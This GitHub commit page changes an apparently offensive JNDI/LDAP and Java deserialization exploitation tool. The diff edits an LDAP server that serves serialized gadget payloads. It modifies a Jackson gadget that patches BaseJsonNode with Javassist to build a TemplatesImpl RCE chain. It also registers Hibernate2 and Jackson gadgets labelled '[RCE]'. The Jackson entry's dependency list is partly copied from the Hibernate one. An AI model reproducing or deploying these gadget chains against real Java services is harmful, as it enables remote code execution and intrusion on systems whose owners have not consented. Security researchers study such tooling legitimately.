Skip to content

Commit 7623e22

Browse files
committed
fix deserial return no log info
1 parent 26d99d6 commit 7623e22

File tree

3 files changed

+16
-5
lines changed

3 files changed

+16
-5
lines changed

src/main/java/jndi/LDAPRefServer.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -200,6 +200,7 @@ protected void sendResult ( InMemoryInterceptedSearchResult result, String base,
200200

201201
String gadgetType = javaFactory.substring(8);
202202
byte[] bytes = commonDeserial.execByDeserialize(gadgetType, null);
203+
System.out.printf("%s [LDAPSERVER] [%s] >> Send local LDAP reference result\n", getLocalTime(), javaFactory);
203204
e.addAttribute("javaClassName", "foo");
204205
e.addAttribute("javaSerializedData", bytes);
205206
}

src/main/java/payloads/Jackson.java

Lines changed: 11 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -16,15 +16,21 @@
1616
@Dependencies({"com.fasterxml.jackson.core:jackson-databind:2.14.2"})
1717
@Authors({Authors.Y4ER})
1818
public class Jackson implements ObjectPayload<Object> {
19-
19+
private static boolean init =false;
2020
public Object getObject(final String command) throws Exception {
2121
final Object template = Gadgets.createTemplatesImpl(command);
2222

23-
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
24-
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
25-
ctClass.removeMethod(writeReplace);
23+
if (init == false)
24+
{
25+
init = true;
26+
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
27+
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
28+
ctClass.removeMethod(writeReplace);
29+
ctClass.toClass();
30+
}
31+
2632
// 将修改后的CtClass加载至当前线程的上下文类加载器中
27-
ctClass.toClass();
33+
2834

2935
POJONode node = new POJONode(template);
3036

src/main/java/util/Mapper.java

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -65,6 +65,8 @@ public class Mapper {
6565
references2.put("deserialFileUpload1", "deserialFileUpload1");
6666
references2.put("deserialGroovy1", "deserialGroovy1");
6767
references2.put("deserialHibernate1", "deserialHibernate1");
68+
references2.put("deserialHibernate2", "deserialHibernate2");
69+
references2.put("deserialJackson", "deserialJackson");
6870
references2.put("deserialJavassistWeld1", "deserialJavassistWeld1");
6971
references2.put("deserialJBossInterceptors1", "deserialJBossInterceptors1");
7072
references2.put("deserialJSON1", "deserialJSON1");
@@ -98,6 +100,8 @@ public class Mapper {
98100
instructions2.put("deserialFileUpload1", withColor("[WriteFile]", ANSI_YELLOW) + withColor(" FileUpload1", ANSI_GREEN) + withColor("\n <Dependencies>: { commons-fileupload:commons-fileupload:1.3.1, commons-io:commons-io:2.4 }", ANSI_RED) + withColor("\n <Example CMD> : 'copyAndDelete;sourceFile;destDir'\n 'write;destDir;ascii-data'\n 'writeB64;destDir;base64-data'\n 'writeOld;destFile;ascii-data'\n 'writeOldB64;destFile;base64-data'", ANSI_BLUE));
99101
instructions2.put("deserialGroovy1", withColor("[RCE]", ANSI_YELLOW) + withColor(" Groovy1", ANSI_GREEN) + withColor("\n <Dependencies>: { org.codehaus.groovy:groovy:2.3.9 }", ANSI_RED) + withColor("\n <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'", ANSI_BLUE));
100102
instructions2.put("deserialHibernate1", withColor("[RCE]", ANSI_YELLOW) + withColor(" Hibernate1", ANSI_GREEN) + withColor("\n <Dependencies>: { JRE >= 7, org.hibernate:hibernate-core:5.0.7.Final, aopalliance:aopalliance:1.0, org.jboss.logging:jboss-logging:3.3.0.Final, javax.transaction:javax.transaction-api:1.2 }\n { JRE > 7, org.hibernate:hibernate-core:4.3.11.Final, aopalliance:aopalliance:1.0, org.jboss.logging:jboss-logging:3.3.0.Final, javax.transaction:javax.transaction-api:1.2, dom4j:dom4j:1.6.1 }", ANSI_RED) + withColor("\n <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'", ANSI_BLUE));
103+
instructions2.put("deserialHibernate2", withColor("[RCE]", ANSI_YELLOW) + withColor(" Hibernate2", ANSI_GREEN) + withColor("\n <Dependencies>: { JRE >= 7, org.hibernate:hibernate-core:5.0.7.Final, aopalliance:aopalliance:1.0, org.jboss.logging:jboss-logging:3.3.0.Final, javax.transaction:javax.transaction-api:1.2 }\n { JRE > 7, org.hibernate:hibernate-core:4.3.11.Final, aopalliance:aopalliance:1.0, org.jboss.logging:jboss-logging:3.3.0.Final, javax.transaction:javax.transaction-api:1.2, dom4j:dom4j:1.6.1 }", ANSI_RED) + withColor("\n <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'", ANSI_BLUE));
104+
instructions2.put("deserialJackson", withColor("[RCE]", ANSI_YELLOW) + withColor(" Jackson", ANSI_GREEN) + withColor("\n <Dependencies>: { com.fasterxml.jackson.core:jackson-databind:2.14.2 }\n { JRE > 7, org.hibernate:hibernate-core:4.3.11.Final, aopalliance:aopalliance:1.0, org.jboss.logging:jboss-logging:3.3.0.Final, javax.transaction:javax.transaction-api:1.2, dom4j:dom4j:1.6.1 }", ANSI_RED) + withColor("\n <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'", ANSI_BLUE));
101105
instructions2.put("deserialJavassistWeld1", withColor("[RCE]", ANSI_YELLOW) + withColor(" JavassistWeld1", ANSI_GREEN) + withColor("\n <Dependencies>: { JRE >= 7, javassist:javassist:3.12.1.GA, org.jboss.weld:weld-core:1.1.33.Final, javax.enterprise:cdi-api:1.0-SP1, javax.interceptor:javax.interceptor-api:3.1, org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final, org.slf4j:slf4j-api:1.7.21 }", ANSI_RED) + withColor("\n <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'", ANSI_BLUE));
102106
instructions2.put("deserialJBossInterceptors1", withColor("[RCE]", ANSI_YELLOW) + withColor(" JBossInterceptors1", ANSI_GREEN) + withColor("\n <Dependencies>: { JRE >= 7, javassist:javassist:3.12.1.GA, org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final, javax.enterprise:cdi-api:1.0-SP1, javax.interceptor:javax.interceptor-api:3.1, org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final, org.slf4j:slf4j-api:1.7.21 }", ANSI_RED) + withColor("\n <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'", ANSI_BLUE));
103107
instructions2.put("deserialJSON1", withColor("[RCE]", ANSI_YELLOW) + withColor(" JSON1", ANSI_GREEN) + withColor("\n <Dependencies>: { net.sf.json-lib:json-lib:jar:jdk15:2.4, org.springframework:spring-aop:4.1.4.RELEASE }", ANSI_RED) + withColor("\n <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'", ANSI_BLUE));

0 commit comments

Comments
 (0)